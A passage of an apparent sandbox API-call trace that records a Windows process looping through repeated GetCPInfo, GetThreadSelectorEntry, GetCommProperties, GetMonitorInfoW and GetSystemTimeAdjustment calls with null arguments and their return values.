GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.050] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.050] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.050] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.050] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.050] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.050] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.050] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.050] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.050] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.050] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.050] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.050] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.050] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.050] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.050] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.050] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.050] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.050] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.050] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.050] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.051] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.051] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.051] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.051] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.051] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.051] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.051] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.051] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.051] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.051] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.051] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.051] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.051] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.051] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.051] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.051] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.051] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.051] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.051] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.051] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.052] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.052] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.052] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.052] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.052] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.052] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.052] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.052] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.052] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.052] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.052] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.052] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.052] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.052] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.052] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.052] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.052] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.052] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.052] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.052] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.052] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.052] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.053] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.053] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.053] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.053] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.053] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.053] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.053] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.053] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.053] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.053] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.053] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.053] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.053] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.053] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.053] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.053] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.053] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.053] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.053] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.053] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.054] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.054] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.054] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.054] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.054] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.054] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.054] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.054] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.054] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.054] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.054] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.054] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.054] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.054] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.054] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.054] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.054] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.055] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.055] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.055] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.055] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.055] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.055] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.055] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.055] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.055] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.055] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.055] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.055] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.055] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.055] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.055] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.055] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.055] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.055] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.055] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.055] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.055] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.056] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.056] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.056] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.056] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.056] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.056] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.056] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.056] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.056] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.056] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.056] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.056] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.056] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.056] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.056] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.056] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.056] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.057] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.057] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.057] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.057] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.057] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.057] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.057] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.057] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: 